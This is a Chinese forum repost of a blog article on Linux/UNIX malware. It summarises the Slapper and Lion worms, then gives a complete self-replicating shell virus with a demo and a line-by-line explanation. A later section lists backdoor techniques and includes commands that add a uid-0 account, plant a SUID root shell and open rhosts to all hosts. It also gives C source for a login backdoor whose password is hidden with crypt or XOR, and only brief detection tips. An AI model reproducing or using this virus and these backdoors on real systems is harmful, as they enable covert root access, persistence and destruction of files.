免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 864 | 回复: 0
打印 上一主题 下一主题

Linux/UNIX病毒和蠕虫 [复制链接]

论坛徽章:
27
水瓶座
日期:2014-08-22 21:06:34程序设计版块每日发帖之星
日期:2015-11-25 06:20:0015-16赛季CBA联赛之新疆
日期:2015-12-19 19:05:48IT运维版块每日发帖之星
日期:2015-12-25 06:20:31IT运维版块每日发帖之星
日期:2015-12-25 06:20:31IT运维版块每日发帖之星
日期:2015-12-25 06:20:3315-16赛季CBA联赛之上海
日期:2016-04-15 19:51:31程序设计版块每日发帖之星
日期:2016-04-17 06:23:29程序设计版块每日发帖之星
日期:2016-04-23 06:20:00程序设计版块每日发帖之星
日期:2016-05-26 06:20:00每日论坛发贴之星
日期:2016-05-26 06:20:0015-16赛季CBA联赛之辽宁
日期:2017-02-16 23:59:47
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-02-09 17:07 |只看该作者 |倒序浏览

除了Klez以外,其他Linux/UNIX平台的主要威胁有:Lion.worm、OSF.8759病毒、Slapper、Scalper、Linux.Svat和BoxPoison病毒,这些很少被提及。
一个叫Alexander Bartolich的奥地利学生甚至已经完成了如何一个编写Linux平台上ELF 病毒的指南。Bartolich 没有要求做一个Linux病毒先锋,他表示,他只是更有效的说明了和反映了病毒、蠕虫和木马威胁Linux 更好的途径,那些很早就已经在别处被说明了。有了这样具启发性的、在网上发布的文档,基于UNIX的病毒数量只会增长的更快,特别是自Linux 在服务器领域的应用越来越广泛之后。系统管理员也许希望,在亲自读过那本指南以后,对Linux 病毒的理解发生飞跃,从而能够更好的掌握Linux 的脆弱点。
病毒的制造者是一些精通编写代码的黑客,他们远比那些胡乱涂改
网站
却对编写病毒知之甚少的黑客要危险。尽管一个被黑掉的网站可以很快的修好,病毒却加更隐蔽,会带来潜在的安全隐患。你也许不能相信,但是病毒会一直潜伏,直到它给系统带来不可挽回的损害。
受影响的Linux/UNIX平台
不是所有版本的Linux/UNIX平台都已经被影响,但是下面这些是在从前已经被病毒侵害过的系统:
SuSE Linux
Mandrake Linux
Red Hat Linux
Debian GNU Linux
Slackware Linux
FreeBSD
HP/UX
IBM AIX
SCO Unixware
SCO OpenServer
Sun Solaris
SunOS
越多的Linux/UNIX系统连接到局域网和广域网,你的单位就有越多受攻击的可能,这是因为很多UNIX 病毒正在快速的扩散着。使用WINE的 Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让UNIX平台运行Windows应用软件。 WINE系统特别容易遭受病毒的攻击,因为它们会使无论是对UNIX的还是对 Windows的病毒、蠕虫和木马都能对系统产生威胁。
威胁的本质
你不应该为Linux/UNIX平台上的病毒和Windows操作系统上的病毒工作方式不同而感到奇怪。不过,UNIX中病毒、蠕虫和木马工作的原理和Windows中的还是大同小异的。
病毒只不过是一个能不经过你的同意而感染和摧毁其他程序的程序。蠕虫是一个不经过你的同意而自我复制的代码块。尽管计算机程序中的bug也可能在未经你允许的情况下进行自我复制,它们还是有很大区别的。区别就在于bug的自我复制是无意识的,而病毒的自我复制却是有意识的。木马程序隐藏了它们进行数字破坏的企图。在一个UNIX环境下,木马可能被命名为一个合法的程序(例如tar或者df),可是它却能移除整个文件系统。
这些病毒和蠕虫如何工作
为了给你一个由UNIX病毒、蠕虫和木马产生的重大破坏过程的认识,我带你走进两个假想的环境来揭示它们是如何工作的。每个病毒、蠕虫和木马都有它们自己的特性和行为,当然,这些例子只能给你一个对它们怎样在Linux/UNIX里发作的认识。
让我们从Linux.Slapper worm. Slapper怎样侵袭一个Apache服务器开始。它通过HTTP的80端口连接到服务器,然后发送有效的GET请求,以发现正在使用的Apache服务器的版本,从而为详细的目标系统做一个自我定义。当找到了一个合适的易攻击的系统之后,它又连接到443端口,利用一个缓冲区溢出漏洞来采用合适的蠕虫包替换目标系统。
接着,蠕虫会利用一个本地编译器,例如gcc来编译自己。二进制结果跟着从/tmp目录开始扩散,监听UDP端口,以接受更长远的分布式拒绝服务(DDoS )攻击的指示。最后,DDoS攻击制造TCP洪流令系统瘫痪。某些Slapper病毒的变异体还会扫描整个B类网络寻找易攻击的Apache服务器。
另一种蠕虫,Linux Lion worm,扫描任意的B类网络里的53端口,从而找出易受攻击版本的BIND——最流行的Linux/UNIX DNS服务器。当Linux Lion worm找到一个易受攻击版本的BIND之后,它清除日志文件,接着种植各种木马文件以隐藏它的企图。Linux Lion worm可能安装的木马文件有:
/bin/in.telnetd
/bin/mjy
/bin/ps
/bin/netstat
/bin/ls
/etc/inetd.conf
/sbin/ifconfig
/usr/bin/find
/usr/sbin/nscd
/usr/sbin/in.fingerd
/usr/bin/top
/usr/bin/du
你可以看到,这些文件看起来是合法的UNIX文件,因此你可能怀疑你的第一眼所见,但这就是木马的关键所在。要掩盖它的足迹,Linux Lion可能会删除以下文件:
/.bash_history
/etc/hosts.deny
/root/.bash_history
/var/log/messages
/var/log/maillog
一旦已经对系统构成威胁,Lion会把密码文件发送给远程的计算机,其他Lion 的变种可以通过嗅探器来嗅探活动连接中的密码信息。通过获得系统访问权限,病毒黑客们能利用远程系统进行DDoS攻击,窃取信用卡号,或者窃取和破坏机密文件、纪录。
Linux操作系统下Shell病毒详细介绍
SHELL病毒简介
1.前言
说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。
2.程序代码
#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写:watercloud@xfocus.org
#日期:2003-5-13
#B:
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
#EOF
看shell是多么得强大,这么短短得程序就能感染其他程序文件。
3.演示
测试一下:
先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
来看看我们这个“肉鸡”脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
ls -l
#EOF
好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !
来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
#B:
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
ls -l
#EOF
看,病毒体:
#B: . . . .
#E:
被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。
来执行看看我们新的病毒体看看:
[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! 4. 简单讲解
我们来一步步分析一下这个病毒:#B:病毒体开始标记,用于程序复制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。
for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
目标是否有写权限,病毒源文件是否有读权限。
if grep '' $f ; then continue; fi
目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?
if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目标shell是以csh的那语法上差异太大了,放弃吧。
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。
sed -n "1,${vNo}p" $vTmp >$f
一个sed命令把目标文件的开始注释部分从备份文件中copy回来。
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
再来一个sed完成搬运病毒体的工作。
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!
rm -f $vTmp
清理一下临时文件。
done >/dev/null 2>&1
循环结束。
unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。
echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。
#E:
病毒体结束标记,用于程序复制自己定位用。
5.后记
从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。
上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。
顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!
后门简介
入侵者完全控制系统后,为方便下次进入而采用的一种技术。一般通过修改系统配置文件和安装第三方后门工具来实现。 具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。
常用后门技术
增加超级用户账号
破解/嗅探用户密码
放置SUID Shell
rhosts + +
利用系统服务程序
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内核模块(LKM)
增加超级用户
# echo "e4gle:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。
破解/嗅探用户密码
获得shadow文件后,用John the Ripper 工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等端口,收集用户密码。
放置SUID Shell
# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
rhosts + +
# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i
远程可以得到一个rootshell。
利用系统服务程序
修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序,重定向login程序。
TCP/UDP/ICMP Shell
BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。Ping Backdoor,通过ICMP包激活后门,形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。
Crontab定时任务
通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间。
共享库文件
在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验。
工具包Rootkit
包含一系列系统及后门工具:
- 清除日志中的登录记录
- 伪装校验和
- 替换netstat、ps等网络工具
- 后门登录程序易于安装和使用
可装载内核模块(LKM)
LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。自身隐蔽性好,发现难度较大。著名的LKM包有adore和knark。
后门的检测
以自己的经验,结合特定的工具,手工作一些检测。使用Tripwire或md5校验来检查系统。借助IDS系统,监听到目标机器的可疑网络连接。
实例:Login后门
入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端类型
传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。
最简单的login后门ulogin.c源代码如下:
实例:Login后门
#include
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
 char *display = getenv("DISPLAY";
 if ( display == NULL ) {
  execve(_PATH_LOGIN, argv, envp);
  perror(_PATH_LOGIN);
  exit(1);
 }
 if (!strcmp(display,PASSWORD)) {
  system("/bin/csh";
  exit(1);
 }
 execve(_PATH_LOGIN, argv, envp);
 exit(1);
}
利用后门登录
首先Telnet服务是打开的,在自己机器上:
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _
Strings命令
Strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:
bash$ strings ulogin
/lib/ld-linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh
加密后门密码
1、采用DES算法,即crypt( )函数,编写gen.c程序:
#include
main(int argc, char *argv[])
{
if (argc != 3) {
printf("usage: %s  \n", argv[0]);
exit(1);
}
printf("%s\n", crypt(argv[1], argv[2]));
}
2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。
3、修改后门源程序ulogin.c:
-- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。
-- 如果后门密码正确,直接给出Shell:
if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}
用strings命令只能看到加密过的密码。
采用异或(XOR)算法
以十六进制方式表示字符串,以达到non- printable的效果。
1、编码程序encode.c如下:
char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str != '\0') {
str^=key[j];
j++;
if(j==len) j=0;
i++;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;i> ulogin
Login后门的检测
使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。使用Red Hat Linux的RPM校验:
# rpm -V util-linux
在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。


本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/15010/showart_245398.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP